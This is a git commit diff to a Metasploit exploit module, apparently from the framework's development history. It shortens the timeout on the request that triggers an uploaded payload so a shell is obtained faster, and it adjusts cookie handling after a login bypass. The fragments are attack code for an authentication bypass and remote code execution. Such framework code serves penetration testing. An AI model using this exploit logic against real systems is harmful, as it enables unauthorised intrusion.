Shorter timeout so we get shell sooner

The request to execute our payload will never return, so waiting for the
default timeout (20 seconds) is pointless.
bug/bundler_fix
James Lee 2015-01-07 11:11:33 -06:00
parent efe83a4f31
commit 1ccef7dc3c
No known key found for this signature in database
GPG Key ID: 2D6094C7CEA0A321
1 changed files with 1 additions and 2 deletions

View File

@ -128,7 +128,6 @@ class Metasploit3 < Msf::Exploit::Remote
# fix if logic
if res and res.code == 200
if res.body.include?("Logout")
cookies = res.headers['Set-Cookie']
cookies = res.get_cookies
print_status("Login Bypass Successful")
print_status("cookie monster = " + cookies)
@ -158,7 +157,7 @@ class Metasploit3 < Msf::Exploit::Remote
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, 'images', "#{@fname}")
})
}, 1)
rescue ::Rex::ConnectionError
fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
end